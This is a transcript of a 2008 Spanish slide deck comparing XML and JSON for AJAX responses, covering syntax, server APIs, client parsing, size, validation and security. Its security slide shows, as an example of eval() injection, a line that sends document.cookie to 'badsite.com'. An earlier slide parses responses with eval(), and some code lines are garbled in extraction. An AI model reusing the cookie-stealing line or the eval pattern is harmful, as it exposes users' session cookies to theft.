xml vs json

19
Confidentiel Javier Hernández Fernández Octubre 2008 XML Vs JSON

Upload: erpufo

Post on 25-Jun-2015

1.124 views

Category:

Documents


11 download

TRANSCRIPT

Page 1: XML Vs JSON

Confidentiel

Javier Hernández Fernández

Octubre 2008

XML Vs JSON

Page 2: XML Vs JSON

Confidentiel04/10/20062

Índice

Introducción

XMLHttpRequest

XML y JSON: Formatos de datos Isomorfos

Diferencias

Seguridad

Conclusiones

Page 3: XML Vs JSON

Confidentiel04/10/20063

XMLHttpRequest

Interfaz empleada para realizar peticiones HTTP a servidores WEB

Datos transferidos (cualquier codificación basada en texto) , incluyendo:

XML

JSON

HTML

codificaciones particulares

Uso más popular: AJAX

Page 4: XML Vs JSON

Confidentiel04/10/20064

XMLHttpRequest II

¿Cuál es el formato ideal para las respuestas

XMLHttpRequest en las aplicaciones AJAX?

Controlar presentación y la apariencia: HTML

Datos:

XML

JSON

Page 5: XML Vs JSON

Confidentiel04/10/20065

XML y JSON: Formatos de datos Isomorfos

XML, ( Extensible Markup Language ) metalenguaje extensible de etiquetas

desarrollado por el World Wide Web Consortium (W3C)

JSON, ( JavaScript Object Notation ) subconjunto de la notación literal de objetos

de JavaScript que no requiere el uso de XML.

{“altran”: [ {

“calle” : “Campezo 1”, “cPostal” : “28022”, “ciudad” : “Madrid” }, { “calle” : “Escoles Pies 102”, “cPostal” : “08017”, “ciudad” : “Barcelona” }

]}

<altran> <direccion> <calle>Campezo 1</calle> <cPostal>28022</cPostal> <ciudad>Madrid</ciudad> </direccion> <direccion> <calle>Escoles Pies 102</calle> <cPostal>08017</cPostal>166 <ciudad>Barcelona</ciudad>192 </direccion> </altran>

Page 6: XML Vs JSON

Confidentiel04/10/20066

Diferencias: Facilidad de Lectura

{“altran”: [ {

“calle” : “Campezo 1”, “cPostal” : “28022”, “ciudad” : “Madrid” }, { “calle” : “Escoles Pies 102”, “cPostal” : “08017”, “ciudad” : “Barcelona” }

]}

<altran> <direccion> <calle>Campezo 1</calle> <cPostal>28022</cPostal> <ciudad>Madrid</ciudad> </direccion> <direccion> <calle>Escoles Pies 102</calle> <cPostal>08017</cPostal>166 <ciudad>Barcelona</ciudad>192 </direccion> </altran>

JSON:

más ordenado y simple

nombres de las variables y funciones difícilmente interfieren con los nombres de variables y

funciones de otras aplicaciones que coexisten generalmente en un sitio Web.

Page 7: XML Vs JSON

Confidentiel04/10/20067

Diferencias: Creación de Datos en la Parte del Servidor: XML

XML lleva años en el Mercado:

Innumerables clases y APIs para crear XML

Disponibles para prácticamente todos los lenguajes de programación. Java (ej, JAXB o XMLBeans)

Ejemplo de respuesta con la librería JAXB:

Person person = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju");

// La clase Marshaller convierte Objetos Java a XML (Serialización):Marshaller marshaller = ... // Crear una instacia de Marshaller

marshaller.marshal(person, outputStream);

Page 8: XML Vs JSON

Confidentiel04/10/20068

Diferencias: Creación de Datos en la Parte del Servidor: JSON

JSON es más reciente y disponga de menos variedad

JSON.org recoge una amplía colección de APIs

Disponibles para bastantes lenguajes. Java (Json-lib)

Ejemplo de creación de una respuesta con Json-lib

APIs de XML llevan más tiempo en el mercado : más estables y robustas.

Person person = new Person();person.setFirstName("Subbu");person.setLastName("Allamaraju");

writer.write(JSONObject.fromObject(person).toString());

Page 9: XML Vs JSON

Confidentiel04/10/20069

Diferencias: Procesar Datos en la Parte del Cliente: JSON

Procesar los datos en formato JSON de una respuesta XMLHttpRequest es trivial:

Función eval():

Evalúa la respuesta directamente a un objeto JavaScript.

 

El acceso a las propiedades del objeto se realizará tal y como se accede a las propiedades de los objetos en JavaScript.

var person = eval (xhr.responseText); 

var person = alert (person.firstName);  

Page 10: XML Vs JSON

Confidentiel04/10/200610

Diferencias: Procesar Datos en la Parte del Cliente: XML

XML, requiere más de código

 Parece inevitable tener que recorrer el árbol DOM para procesar los datos, lo cual es tedioso y puede provocar errores.

 

Xpath: Evita recorrer el árbol DOM (extensibilidad).

JSON disponibilidad de datos inmediata.

var xml = xhr.responseXML;var elements = xml.getElementsByTagName("firstName");alert(elements[0].firstChild.textContent);

Page 11: XML Vs JSON

Confidentiel04/10/200611

Diferencias: Extensibilidad XML

Extensibilidad: Reducir asociaciones entre el productor y el consumidor de los datos

XML: Extensible Markup Language?

Siempre y cuando el código se haga teniendo en cuenta posibles modificaciones

XPath

var xml = xhr.responseXML;var elements = xml.getElementsByTagName("firstName");var firstNameEl = elements[0];var lastNameEl = firstNameEl.nextSibling;

Page 12: XML Vs JSON

Confidentiel04/10/200612

Diferencias: Extensibilidad JSON

JSON es más extensible que XML.

En JSON sólo es necesario comprobar si cierta propiedad existe en un objeto antes de procesarlo.

JSON ofrece otra posibilidad extra: inyectar código en la respuesta:

No recomendable:

Poluciona el código creando asociaciones entre el código y los datos.

Riesgo a la seguridad

If (person.middleName) { // Process }

alert("Hi - I'm a person");({ "firstName" : "Subbu", "lastName" : "Allamaraju"});

Page 13: XML Vs JSON

Confidentiel04/10/200613

Diferencias: Rapidez en la Respuesta

{“altran”: [ {

“calle” : “Campezo 1”, “cPostal” : “28022”, “ciudad” : “Madrid” }, { “calle” : “Escoles Pies 102”, “cPostal” : “08017”, “ciudad” : “Barcelona” }

]}

<altran> <direccion> <calle>Campezo 1</calle> <cPostal>28022</cPostal> <ciudad>Madrid</ciudad> </direccion> <direccion> <calle>Escoles Pies 102</calle> <cPostal>08017</cPostal>166 <ciudad>Barcelona</ciudad>192 </direccion> </altran>

Cantidad de datos que se envían en una misma respuesta:

JSON: 140

XML: 213

Page 14: XML Vs JSON

Confidentiel04/10/200614

Diferencias: Validación de Datos y Depuración de Errores

Servidor: Asegurar que los datos están bien formados y son validos

XML: Relativamente fácil : Esquema para los datos y validarlos contra ellos ( normas DTD o esquema utilizado )

JSON: Tarea es manual e incluye comprobar que el objeto de la respuesta tiene los atributos correctos.

Validador YAML para este propósito.

Cliente: Facilidad para depurar los errores

XML: el navegador simplemente fallará el intentar analizar sintácticamente el código XML.

JSON: difícil relacionar los mensajes de error con los datos extensión FireBug the Firefox.

Page 15: XML Vs JSON

Confidentiel04/10/200615

Diferencias: Seguridad

Función eval(): Injección de Código

Normas básicas de seguridad en AJAX:

No confiar en los datos o código cuando sea devuelto de una fuente no segura.

Sólo usar XMLHttpRequest para conectarse al dominio del que se descargó el código.

window.location = "http://badsite.com?" + document.cookie; person : { "firstName" : "Subbu", "lastName" : "Allamaraju" }

Page 16: XML Vs JSON

Confidentiel04/10/200616

Diferencias: Seguridad

Otras Soluciones:

Expresiones regulares para hacer comprobaciones antes de hacer la llamada a eval(), aunque no solucionaría posibles:

robos de datos falsificaciones de credenciales

parseJSON(): Verifica que el archivo JSON solo contenga datos.

El funcionamiento es idéntico al de eval():

var respuestaEval = eval( "(" + jsonHttp.responseText + ")");var respuestaJSON = JSON.parse(jsonHttp.responseText);

Page 17: XML Vs JSON

Confidentiel04/10/200617

ConclusionesFormatos de intercambio de datos Isomorfos

1. No hay ningún tipo de información que pueda ser representada en XML y no en JSON

2. No hay ningún tipo de información que pueda ser representada en JSON y no en XML

3. No hay ningún tipo de información que pueda ser representada en XML y JSON que no pueda ser representada en una S-expression de LISP

Page 18: XML Vs JSON

Confidentiel04/10/200618

Conclusiones¿Cuando usar uno u otro?

JSON:

Se van a tratar estructura de datos

Mínimo esfuerzo de adaptación en Recepción

Estructuras no muy pesadas

XML

Envío de información general

El Orden de los datos es relevante

Transferencia de los datos es superior a varios segundos.

Page 19: XML Vs JSON

Confidentiel04/10/200619

www.altran.es